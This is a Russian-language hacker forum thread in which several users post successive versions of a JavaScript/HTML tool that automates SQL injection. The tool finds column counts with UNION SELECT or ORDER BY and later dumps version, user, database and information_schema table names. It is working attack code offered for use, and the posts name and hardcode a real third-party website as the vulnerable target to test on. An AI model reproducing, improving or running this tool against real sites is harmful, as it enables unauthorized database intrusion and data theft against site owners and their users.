Вот написал для себя (за пару часов) небольшой скриптик автоматизации sql-inj для определения колличества колонок. Я конечно понимаю, что дорабатывать его можно очень много, поэтому прошу строго не судить, тем более на javascript я кодер никакой , а предлагать усовершенствования и показать недостатки т.п. Главное он пашет! Итак версия alpha 0.01 PHP: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=windows-1251" /> <title>Подборщик колличества столбцов</title> </head> <script> var url="http://"; var tek_url=url; var s=""; var n=0; function poisk(f) { tek_url=document.search.url.value; document.search.colum.value="?"; document.search.tek_url.value=document.search.url.value+"-1+union+select+"; tek_url=document.search.url.value+"-1+union+select+"; while (n<50) { n++; if (n==1) {s=s+n;} else {s=s+","+n;} tek_url=tek_url+s+"/*"; document.search.tek_url.value=tek_url; document.search.colum.value=n; changePage(tek_url); pause (); } } function changePage(p) { document.getElementById( "ifrm" ).src = p; } </script> <form name=search method=post> <label>Ведите путь до уязвимого скрпта <input name="url" value="http://" size=160%> </label><br> <input onClick=poisk(search); type=button value="Подобрать число столбцов" name=calculateit> <input readonly size=5 name=colum><br> текущее значение<input name=tek_url size=180% readonly> </form> <body onload="changePage()"> <iframe id="ifrm" src="" width="100%" height="500%"/> </body> </html> Затестить можно так: Вводим путь до уязвимого скрипта: Code: http://sololiteratura.com/php/autor.php?id= Жмякаем пимпу подобрать колличество столбцов, видим ошибку, жмякаем ещё, снова ошибка, ещё раз! Опс! Вот и наша скуля... число столбцов = 3.
Прошу разрешения автора использовать его код! Просто у меня немного все автоматизированее получается - просто не обязательно указывать скрипт и параметр - мой скрипт выдирает со страницы все ссылки и брутит их...
Ты сначала посмотри что он делает, он ведь не определяет саму скулю, а только вставляет колонки! Подобрал или нет ты оцениваешь чисто визуально, сам! ЗЫ Используй на своё усмотрение код, я не против...
спасиба великий кодер =) /*не скрипт реально удобный*/ только если полей 50 или 30 то запаришься клацать я лично определяю по ордер бай.. так намного быстрее
Согласен, замечание стоящее. Надо имхо сделать и эти способом, так меньше придётся делать запросов, если использовать метод бинарного поиска... (пополам, потом ещё пополам и т.д.) ЗЫ Вручную полтинник вставлять вообще замахаешься...
сделал с бинарным поиском... полностю не тестил.. пару штук проверил вроде все ок.. вообщем вводите адрес вместес параметром клацаете меньше пока не появится контент.. потом мона больше пока не появится ошибка.. вообщем там просто PHP: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <META name="author" content="halkfild"> <META name="copyright" content="© 2007 halkfild"> <style> body { padding:10px; background:#2A2E33; font-family:tahoma, verdana, arial; font-size:14px; text-align:center; color:#B9B9BD; } form { padding:10px; border:1px solid #666; width:700px; margin:0 auto; } iframe { padding:10px; border:1px solid #666; width:700px; height:500px; margin:0 auto; } input { vertical-align:middle; margin:1px 0; padding-right:10px; border:1px solid #336600; padding:2px; background:#363940; color:#B9B9BD; } </style> <head> <meta http-equiv="Content-Type" content="text/html; charset=windows-1251" /> <title>Подборщик количества столбцов © halkfild</title> </head> <script> var url="http://sololiteratura.com/php/autor.php?id=1"; //"http://"; var tek_url=url; var k=0; var LL; //left limit var RL; //right limit function poisk(f) { tek_url=document.search.url.value; LL=document.search.llc.value*1; RL=document.search.rlc.value*1; rgurl= document.search.rurl.value; tek_url= tek_url + "+order+by+"; if (f==1) { //> LL=LL+Math.floor((RL-LL)/2); } else { //< RL=LL+Math.floor((RL-LL)/2); } k=Math.floor(LL+(RL-LL)/2); tek_url= tek_url + k + rgurl; document.search.llc.value=LL; document.search.rlc.value=RL; document.search.tek_url.value=tek_url; changePage(tek_url); } function changePage(p) { document.getElementById( "ifrm" ).src = p; } </script> <form name=search method=post> <label>Ведите путь к уязвимому скрипту<br> <input name="url" value="http://sololiteratura.com/php/autor.php?id=1" style='width:388px;'> <input name="rurl" value="/*&" style='width:200px;'> </label><br> <input onClick=poisk(1); type=button value="больше >" style='width:100px;'> <input onClick=poisk(2); type=button value="меньше <" style='width:100px;'> Границы поиска количества <input size=5 name=llc value=0 style='width:96px;'><b>:</b><input size=5 name=rlc value=100 style='width:96px;'><br/> адрессная строка(URL)<br/><input name=tek_url readonly style='width:600px;'><br/> </form> <body onload="changePage()"> <iframe id="ifrm" src="null"></body> </html> з.ы. завтра нормально потестю.. * [+] добавлена возможность использования правой части URL вида http://site.com/script.php?parametr=1[inj]&bla=bla&bla1=bla&bla2=bla
ну вот я и приехал.. вот cделал все одним файлом. можно выбирать каким методом будет производится подбор PHP: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <META name="author" content="halkfild, -=lebed=-"> <META name="copyright" content="© 2007 halkfild"> <style> body { padding:10px; background:#2A2E33; font-family:tahoma, verdana, arial; font-size:14px; text-align:center; color:#B9B9BD; } form { padding:10px; border:1px solid #666; width:700px; margin:0 auto; } iframe { padding:10px; border:1px solid #666; width:700px; height:500px; margin:0 auto; } input { vertical-align:middle; margin:1px 0; padding-right:10px; border:1px solid #336600; padding:2px; background:#363940; color:#B9B9BD; } div { display:none; } </style> <head> <meta http-equiv="Content-Type" content="text/html; charset=windows-1251" /> <title>Подборщик количества столбцов © halkfild & -=lebed=-</title> </head> <script> var url="http://sololiteratura.com/php/autor.php?id=1"; //"http://"; var tek_url=url; var k=0; var LL; //left limit var RL; //right limit var s=""; var n=0; function b_search(f) { tek_url=document.binSearch.url.value; LL=document.binSearch.llc.value*1; RL=document.binSearch.rlc.value*1; rgurl= document.binSearch.rurl.value; tek_url= tek_url + "+order+by+"; if (f==1) { //> LL=LL+Math.floor((RL-LL)/2); } else { //< RL=LL+Math.floor((RL-LL)/2); } k=Math.floor(LL+(RL-LL)/2); tek_url= tek_url + k + rgurl; document.binSearch.llc.value=LL; document.binSearch.rlc.value=RL; document.binSearch.tek_url.value=tek_url; changePage(tek_url); } function poisk(f) { tek_url=document.bruteSearch.url.value; document.bruteSearch.colum.value="?"; document.bruteSearch.tek_url.value=document.bruteSearch.url. value+"-1+union+select+"; tek_url=document.bruteSearch.url.value+"-1+union+select+"; while (n<50) { n++; if (n==1) {s=s+n;} else {s=s+","+n;} tek_url=tek_url+s+"/*"; document.bruteSearch.tek_url.value=tek_url; document.bruteSearch.colum.value=n; changePage(tek_url); pause (); } } function changePage(p) { document.getElementById( "ifrm" ).src = p; } function dShow(type){ if (type==1) { document.getElementById( "brute" ).style.display='none'; document.getElementById( "binary" ).style.display='inline'; } else { document.getElementById( "binary" ).style.display='none'; document.getElementById( "brute" ).style.display='inline'; } } </script> <body onload="changePage()"> <label><b>JavaScript-подборщик количества полей</b></label><br/> <input type="radio" checked=1 name="type" onClick=dShow(1);>Binary search © <b>halkfild</b> <input type="radio" name="type" onClick=dShow(2);>Bruteforce © <b>-=lebed=-</b><br/> <div id="binary" style='display:inline;'> <form name=binSearch method=post> <label>Введите путь к уязвимому скрипту</label><br> <input name="url" value="http://" style='width:388px;'> <input name="rurl" value="/*&" style='width:200px;'> <br> <input onClick=b_search(1); type=button value="больше >" style='width:100px;'> <input onClick=b_search(2); type=button value="меньше <" style='width:100px;'> Границы поиска количества <input size=5 name=llc value=0 style='width:96px;'><b>:</b><input size=5 name=rlc value=100 style='width:96px;'><br/> адрессная строка(URL)<br/><input name=tek_url readonly style='width:600px;'><br/> </form> </div> <div id="brute"> <form name=bruteSearch method=post> <label>Введите путь до уязвимого скрипта <input name="url" value="http://" style='width:600px;'> </label><br> <input onClick=poisk(bruteSearch); type=button value="Подобрать число столбцов" name=calculateit> <input readonly size=5 name=colum><br> адрессная строка(URL)<input name=tek_url readonly style='width:600px;'> </form> </div> <iframe id="ifrm" src="null"></body> </html> cделаю наверное еще автоподстановку версии и тд. но это уже завтра з.ы. если есть какие-то предложения или конструктивная критика пишите
версия 0.2.1 [~] исправлены недочеты в последовательном переборе [+] добавлена возможность выбора разделителя ('+','/**/', ' ') /*зы за идею отдельное спасибо +toxa+*/ PHP: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <META name="author" content="halkfild, -=lebed=-"> <META name="copyright" content="© 2007 halkfild"> <style> body { padding:10px; background:#2A2E33; font-family:tahoma, verdana, arial; font-size:14px; text-align:center; color:#B9B9BD; } form { padding:10px; border:1px solid #666; width:700px; margin:0 auto; } iframe { padding:10px; border:1px solid #666; width:700px; height:500px; margin:0 auto; } input { vertical-align:middle; margin:1px 0; padding-right:10px; border:1px solid #336600; padding:2px; background:#363940; color:#B9B9BD; } div { display:none; } </style> <head> <meta http-equiv="Content-Type" content="text/html; charset=windows-1251" /> <title>Подборщик количества столбцов © halkfild & -=lebed=-</title> </head> <script> var url="http://sololiteratura.com/php/autor.php?id=1"; //"http://"; var tek_url=url; var k=0; var LL; //left limit var RL; //right limit var s=""; var n=0; function b_search(f) { tek_url=document.binSearch.url.value; LL=document.binSearch.llc.value*1; RL=document.binSearch.rlc.value*1; rgurl= document.binSearch.rurl.value; var dlim = document.binSearch.delimiter.value; //tek_url= tek_url + "+order+by+"; tek_url= tek_url + dlim+"order"+dlim+"by"+dlim; if (f==1) { //> LL=LL+Math.floor((RL-LL)/2); } else { //< RL=LL+Math.floor((RL-LL)/2); } k=Math.floor(LL+(RL-LL)/2); tek_url= tek_url + k + rgurl; document.binSearch.llc.value=LL; document.binSearch.rlc.value=RL; document.binSearch.tek_url.value=tek_url; changePage(tek_url); } function poisk(f) { tek_url=document.bruteSearch.url.value; document.bruteSearch.colum.value="?"; var dlim = document.bruteSearch.delimiter.value; //document.bruteSearch.tek_url.value=document.bruteSearch.url. value+"-1+union+select+"; document.bruteSearch.tek_url.value=document.bruteSearch.url.value+"-1"+dlim+"union"+dlim+"select"+dlim; tek_url=document.bruteSearch.url.value+"-1"+dlim+"union"+dlim+"select"+dlim; while (n<50) { n++; if (n==1) {s=s+n;} else {s=s+","+n;} tek_url=tek_url+s+"/*"; document.bruteSearch.tek_url.value=tek_url; document.bruteSearch.colum.value=n; changePage(tek_url); pause (); } } function changePage(p) { document.getElementById( "ifrm" ).src = p; } function dShow(type){ if (type==1) { document.getElementById( "brute" ).style.display='none'; document.getElementById( "binary" ).style.display='inline'; } else { document.getElementById( "binary" ).style.display='none'; document.getElementById( "brute" ).style.display='inline'; } } </script> <body onload="changePage()"> <label><b>JavaScript-подборщик количества полей</b></label><br/> <input type="radio" checked=1 name="type" onClick=dShow(1);> Binary search © <b>halkfild</b> <input type="radio" name="type" onClick=dShow(2);> Bruteforce © <b>-=lebed=-</b><br/> <div id="binary" style='display:inline;'> <form name=binSearch method=post> <label>Введите путь к уязвимому скрипту</label><br> <input name="url" value="http://" style='width:388px;'> <input name="rurl" value="/*&" style='width:200px;'> <br> <input onClick=b_search(1); type=button value="больше >" style='width:100px;'> <input onClick=b_search(2); type=button value="меньше <" style='width:100px;'> Границы поиска количества <input size=5 name=llc value=0 style='width:96px;'><b>:</b><input size=5 name=rlc value=100 style='width:96px;'><br/> адрессная строка(URL)<br/><input name=tek_url readonly style='width:545px;'> <input name=delimiter style='width:45px;' value="+"><br/> </form> </div> <div id="brute"> <form name=bruteSearch method=post> <label>Введите путь до уязвимого скрипта</label><br/> <input name="url" value="http://" style='width:388px;'> <input name="rurl" value="/*&" style='width:200px;'> <br> Разделитель <input name=delimiter style='width:45px;' value="+"> <input onClick=poisk(bruteSearch); type=button value="Подобрать число столбцов" name=calculateit style='width:255px;'> Текущее количество <input readonly size=5 name=colum style='width:60px;'><br/> адрессная строка(URL)<input name=tek_url readonly style='width:600px;'> </form> </div> <iframe id="ifrm" src="null"></body> </html>
новая версия.. переписан почти весь код) добавлено много нового например перебор по таблицам, столбцам, подстановка версии и т.д. хотел сделать и автоопределение, но там траблы с ифреймами будет в следующей версии HTML: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <META name="author" content="halkfild"> <META name="copyright" content="© 2007 halkfild"> <STYLE type="text/css"> body { padding:10px; background:#2A2E33; font-family:tahoma, verdana, arial; font-size:14px; text-align:center; color:#B9B9BD; scrollbar-3dlight-color:#2A2E33; scrollbar-arrow-color:#336600; scrollbar-base-color:#2A2E33; scrollbar-darkshadow-color:#336600; } form { padding:10px; border:1px solid #666; width:700px; margin:0 auto; } iframe { padding:10px; border:1px solid #666; width:700px; height:500px; margin:0 auto; } input, textarea { vertical-align:middle; margin:1px 0; padding-right:10px; border:1px solid #336600; padding:2px; background:#363940; color:#B9B9BD; } div {display:none;} </STYLE> <head> <meta http-equiv="Content-Type" content="text/html; charset=windows-1251" /> <title>Подборщик количества столбцов © halkfild</title> </head> <script language="JavaScript"> var st=0,stl=0,met=1,scUrl; var met=1; var cl=0,tl=0; //tableslist, columnslist var cc; //curent columns function b_search(f) { var k; var tmpUrl=document.binSearch.url.value; var LL=document.binSearch.llc.value*1; //left limit var RL=document.binSearch.rlc.value*1; //right limit var rgurl= document.binSearch.rurl.value; var dlim = document.binSearch.delimiter.value; tmpUrl += dlim+"order"+dlim+"by"+dlim; if (f==1) { //> LL=LL+Math.floor((RL-LL)/2); } else { //< RL=LL+Math.floor((RL-LL)/2); } k=Math.floor(LL+(RL-LL)/2); tmpUrl += k + rgurl; document.binSearch.llc.value=LL; document.binSearch.rlc.value=RL; document.binSearch.cUrl.value=tmpUrl; changePage(tmpUrl); } function br_search(count) { var lUrl = document.bruteSearch.url.value; var rUrl = document.bruteSearch.rurl.value; var dlim = document.bruteSearch.delimiter.value; var count= document.bruteSearch.colum.value*1+1; var tmpUrl,n=0; var res = lUrl.match(/(http.+=)([a-zA-Z0-9]+)/i); tmpUrl = res[1]+"-"+res[2]+dlim+"union"+dlim+"select"+dlim; while (n<count){ n++; tmpUrl += n+""+n+""+n+""+n+""+n+","; } tmpUrl = tmpUrl.slice(0,-1) + rUrl document.bruteSearch.cUrl.value = tmpUrl; document.bruteSearch.colum.value = n; changePage(tmpUrl); } function changePage(p) { document.getElementById( "ifrm" ).src = p;} function dShow(type){ if (type==1) { document.getElementById("brute").style.display='none'; document.getElementById("binary").style.display='inline'; met=1; } else if (type==2) { document.getElementById("binary").style.display='none'; document.getElementById("brute").style.display='inline'; met=2; } else if (type==3) { if (st==0) { document.getElementById("substitution").style.display='none'; st=1; } else { document.getElementById("substitution").style.display='inline'; st=0; var dlim = document.binSearch.delimiter.value; if (met==1) { var str = document.binSearch.cUrl.value; var re = str.match(/(http.+\d+).+order.+by[^0-9](\d+)(.+)/i); var res = str.match(/(http.+=)([a-zA-Z0-9]+)/i); scUrl = getSelect(res[1]+"-"+res[2], re[3], re[2]); document.subst.sUrl.value = scUrl; } else { var str = document.bruteSearch.cUrl.value; var res = str.match(/(http.+=-[a-zA-Z0-9].+union.+select.+),[a-zA-Z0-9]+(.+)/i); scUrl = res[1]+res[2]; document.subst.sUrl.value = scUrl; } changePage(document.subst.sUrl.value); } } else if (type==4) { if (stl==0) { document.getElementById("list").style.display='none'; stl=1; } else { document.getElementById("list").style.display='inline'; stl=0; } } } function getSelect (left, right, count) { var dlim = document.binSearch.delimiter.value; var tmp=left+dlim+"union"+dlim+"select"+dlim; for (var i=0; i<count; i++) { tmp = tmp + (i+1)+(i+1)+(i+1)+(i+1)+(i+1)+ ","; //много 11 для поиска } tmp = tmp.slice(0,-1) + right; return tmp; } function getSubstr (id) { var elem = document.getElementById(id).value; var rs = elem.split(/\n/); return rs; } function tuck (type) { var dlim = document.binSearch.delimiter.value; if (type==1) { var el = getSubstr("columns"); if (cl<el.length) { setUrl(el[cl]); cl++; } else { alert("Перебор по списку столбцов окончен"); cl=0; } } else { var el = getSubstr("tables"); if (tl<el.length) { var str = scUrl var res = str.match(/(http.+=-[a-zA-Z0-9].+union.+select.+,[a-zA-Z0-9]+)(.+)/i); document.subst.sUrl.value=res[1]+dlim+"from"+dlim+el[tl]+dlim+res[2]; changePage(document.subst.sUrl.value); tl++; } else { alert("Перебор по списку таблиц окончен"); tl=0 } } } function searchword(){ var r,i,s=document.selection.createRange().text; if(!s)s=prompt('Найти:',''); if(s){ r=document.body.createTextRange(); for(i=0;r.findText(s);i++){ r.execCommand('BackColor','','lightyellow'); r.collapse(false) } alert('Найдено: '+i+' слово(а)') } } function setUrl(param) { var num = document.subst.colNum.value; var str = scUrl; var pnum= num+""+num+""+num+""+num+""+num; var pattern = RegExp("(http.+=-[a-zA-Z0-9].+union.+select.+)"+pnum+"(.+)","i"); var qqq = str.match(pattern); var result = qqq[1]+param+qqq[2]; document.subst.sUrl.value = result; changePage(result); } </script> <body onload="changePage()"> <label><b>JavaScript-подборщик количества полей</b></label><br/> <input type="radio" checked=1 name="type" onClick=dShow(1);> Binary search © <b>halkfild</b> <input type="radio" name="type" onClick=dShow(2);> Bruteforce © <b>-=lebed=-</b><br/> <div id="binary" style='display:inline;'> <form name=binSearch method=post> <label>Введите путь к уязвимому скрипту</label><br/> <input name="url" value="http://" style='width:388px;'> <input name="rurl" value="/*&" style='width:200px;'> <br> <input onClick=b_search(1); type=button value="больше >" style='width:100px;'> <input onClick=b_search(2); type=button value="меньше <" style='width:100px;'> Границы поиска количества <input size=5 name=llc value=0 style='width:96px;'><b>:</b><input size=5 name=rlc value=100 style='width:96px;'><br/> адрессная строка(URL)<br/><input name=cUrl readonly style='width:545px;'> <input name=delimiter style='width:45px;' value="+"><br/> </form> </div> <div id="brute"> <form name=bruteSearch method=post> <label>Введите путь до уязвимого скрипта</label><br/> <input name="url" value="http://" style='width:388px;'> <input name="rurl" value="/*&" style='width:200px;'> <br> Разделитель <input name=delimiter style='width:45px;' value="+"> <input onClick=br_search(); type=button value="Подобрать число столбцов" name=calculateit style='width:255px;'> Текущее количество <input readonly size=5 name=colum style='width:60px;'><br/> адрессная строка(URL)<input name=cUrl readonly style='width:600px;'> </form> </div> <form name=subst> <p id=resize onclick="dShow(3)" style='text-align:center;cursor:hand' UNSELECTABLE='on'>Подстановка значений</p> <div id="substitution"> <input name=sUrl style='width:500px;'><input type=button onClick=changePage(document.subst.sUrl.value) value="Обновить" style='width:100px;'> <p id=resize onclick="dShow(4)" style='text-align:center;cursor:hand' UNSELECTABLE='on'>Подбор таблиц и столбцов</p> <div id="list"> Столбец <input name="colNum" value="1" style='width:40px;'> Системная информация <input value="на стадии разработки" style='width:200px;'> <input type=button onClick="setUrl('concat_ws(0x3a,version,database,user)');" value="информация" style='width:120px;'> <textarea id="columns" cols=35 rows=7>Скопируйте сюда список полей</textarea> <textarea id="tables" cols=35 rows=7>Скопируйте сюда список таблиц</textarea> <input type=button onClick="tuck(1)" value="Подобрать" style='width:297px;'> <input type=button onClick="tuck(2)" value="Подобрать" style='width:297px;'> </div> </div> </form> <iframe id="ifrm" src="null"></body> </html> нормально не тестил просто уезжаю.. в сведущей версии будет, наверное )) : - отлов старых багов)) может автоопределение выводимого столбца, если с ифреймами все решится.. - вывод имен таблиц и столбцов если версия больше 5 ну и еще что-то придумаем з.ы. вставлять надо адрес с последним уязвимым параметром БЕЗ минуса http://127.0.0.1/lab/injector.php?id=2 + правая часть
лично я не понимаю зачем переписывать еще раз то что уже написано - вот у электа класная тулза -- и им подобным уже докуя - хз зачем? неужели не жалко своего времени и сил?
Модернизировал подборщик столбцов (только свою часть скрипта!) Добавлено: - возможность ввода начального (предполагаемого) количества столбцов. - инкремент, декремент на 1. - возможность указания разделителя и начального параметра: PHP: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <style> body { padding:10px; background:#2A2E33; font-family:tahoma, verdana, arial; font-size:14px; text-align:center; color:#B9B9BD; } form { padding:10px; border:1px solid #666; width:700px; margin:0 auto; } iframe { padding:10px; border:1px solid #666; width:700px; height:500px; margin:0 auto; } input { vertical-align:middle; margin:1px 0; padding-right:10px; border:1px solid #336600; padding:2px; background:#363940; color:#B9B9BD; } div { display:none; } </style> <head> <meta http-equiv="Content-Type" content="text/html; charset=windows-1251" /> <title>JavaScript SQL-injector by -=lebed=-</title> </head> <script> var sp = new Array(); /*сепаратор.*/ sp[0]="+"; sp[1]="/**/"; sp[2]=" "; var url="http://"; /*целевой URL*/ var tek_url=url; /*текуший URI*/ var s=""; /*накопитель*/ var n=0; function get_url(f) { url=document.search.url.value; n=1; s="1"; b=document.search.separator.value; p=document.search.parametr.value; while (n<document.search.colum.value) { n++; if (n==1) {s=n;} else {s=s+","+n;} } tek_url=url+p+sp[b]+"union"+sp[b]+"select"+sp[b]+s+"/*"; document.search.tek_url.value=tek_url; document.search.colum.value=n; changePage(tek_url); pause (); } function inc(f) { document.search.colum.value++ get_url(f) } function dec(f) { document.search.colum.value-- get_url(f) } function changePage(p) { document.getElementById( "ifrm" ).src = p; } </script> <form name=search method=post> <label>Ведите путь до уязвимого скрипта <input name="url" value="http://" size=110%> </label><br> параметр: <input size=5 name=parametr value="-1"> разделитель: <select name=separator> <option value=0 selected>+ <option value=1>/**/ <option value=2>пробел </select> колонок: <input size=5 name=colum> <input onClick=inc(search); type=button value="+" name=calculateit> <input onClick=dec(search); type=button value="-" name=calculateit> <input onClick=get_url(search); type=button value="ОК" name=calculateit><br> текущее значение: <input name=tek_url size=110% readonly> </form> <body onload="changePage()"> <iframe id="ifrm" src="" width="100%" height="500%"/> </body> </html> Пример: Вводим, например, Колонок:3 и нажимаем ОК, далее делаем инкремент (жмякаем "+") 3 раза -> получаем вывод полей. (всего 6 столбцов) В планах: - вывод полезной инфы из отображаемого столбца (user(), version() и т.д.) - подстановка в запрос имён таблиц и столбцов из словаря (списка).
Новая версия! (alpha 0.03) PHP: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <style> body { padding:10px; background:#2A2E33; font-family:tahoma, verdana, arial; font-size:14px; text-align:center; color:#B9B9BD; } form { padding:10px; border:1px solid #666; width:700px; margin:0 auto; } iframe { padding:10px; border:1px solid #666; width:700px; height:500px; margin:0 auto; } input { vertical-align:middle; margin:1px 0; padding-right:10px; border:1px solid #336600; padding:2px; background:#363940; color:#B9B9BD; } div { display:none; } </style> <head> <meta http-equiv="Content-Type" content="text/html; charset=windows-1251" /> <title>JavaScript SQL-injector by -=lebed=-</title> </head> <script> var sp = new Array(); /*сепаратор.*/ sp[0]="+"; sp[1]="/**/"; sp[2]=" "; var end =new Array(); /*комментарий (коцовка)*/ end[0]="/*"; end[1]="--"; var limit =new Array(); /*limit*/ limit[0]=""; for (i=1; i < 100; i++) {limit[i]=i;} var tables_name =new Array(); /*имена таблиц*/ tables_name[0]=""; tables_name[1]="information_schema.tables"; tables_name[2]="users"; t = new Array() for (i=1; i < 100; i++) { t[i] = new Array() t[i][0] = i; t[i][1] = "version()"; t[i][2] = "user()"; t[i][3] = "database()"; t[i][4] = "concat(version(),0x3a,user(),0x3a,database())"; t[i][5] = "table_name"; } var url="http://"; /*целевой URL*/ var tek_url=url; /*текуший URI*/ var s=""; /*накопитель*/ var n=0; var m=0; function get_url(f) { url=document.search.url.value; n=1; b=document.search.separator.value; p=document.search.parametr.value; stlb=document.search.stolbec.value; tabl=tables_name[document.search.n_table.value]; lm=limit[document.search.limit_n.value] if (stlb!=1) {s=t[n][0]} else {s=t[n][document.search.output.value];} while (n<document.search.colum.value) { n++; if (n!=stlb) {m=0;} else {m=document.search.output.value;} if (n==1) {s=t[n][document.search.output.value];} else {s=s+","+t[n][m];} } if (document.search.n_table.value!=0) {tabl=sp[b]+"from"+sp[b]+tables_name[document.search.n_table.value];} if (document.search.limit_n.value!=0) {lm=sp[b]+"limit"+sp[b]+limit[document.search.limit_n.value]+",1";} tek_url=url+p+sp[b]+"union"+sp[b]+"select"+sp[b]+s+tabl+lm+end[document.search.end_of.value]; document.search.tek_url.value=tek_url; document.search.colum.value=n; changePage(tek_url); pause (); } function inc(f) { document.search.colum.value++ get_url(f) } function dec(f) { document.search.colum.value-- get_url(f) } function changePage(p) { document.getElementById( "ifrm" ).src = p; } </script> <form name=search method=post> <label>Ведите путь до уязвимого скрипта <input name="url" value="http://" size=110%> </label><br> параметр: <input size=5 name=parametr value="-1"> разделитель: <select name=separator> <option value=0 selected>+ <option value=1>/**/ <option value=2>пробел </select> лимит: <select name=limit_n> <option value=0 selected>? <option value=1>1 <option value=2>2 <option value=3>3 <option value=4>4 <option value=5>5 <option value=6>6 <option value=7>7 <option value=8>8 <option value=9>9 <option value=10>10 <option value=11>11 <option value=12>12 <option value=13>13 <option value=14>14 <option value=15>15 <option value=16>16 <option value=17>17 <option value=18>18 <option value=19>19 <option value=20>20 </select> комментарий: <select name=end_of value=0> <option value=0 selected>/* <option value=1>-- </select> колонок: <input size=5 name=colum> <input onClick=inc(search); type=button value="+" name=calculateit> <input onClick=dec(search); type=button value="-" name=calculateit> <input onClick=get_url(search); type=button value="ОК" name=calculateit><br> Вывод: <select name=output> <option value=0 selected>цифры1,2,3... <option value=1>version() <option value=2>user() <option value=3>database() <option value=4>concat(version(),user(),database()) <option value=5>table_name </select> В столбец №: <input size=5 name=stolbec value=1> из: <select name=n_table value=0> <option value=0 selected>? <option value=1>information_schema.tables <option value=2>users </select> <br> текущее значение: <input name=tek_url size=110% readonly> </form> <body onload="changePage()"> <iframe id="ifrm" src="" width="100%" height="500%"/> </body> </html> Добавлено: - вывод полезной инфы в отображаемый столбец. - добавлена возможность использовать LIMIT - добавлена работа с INFORMATION_SCHEMA В Планах: - наращивание функционала; - пополнение списка имён таблиц и названий колонок Зы: Рекомендую затестить, тем кто ищет скули ручками и отписать замеченные баги (если есть).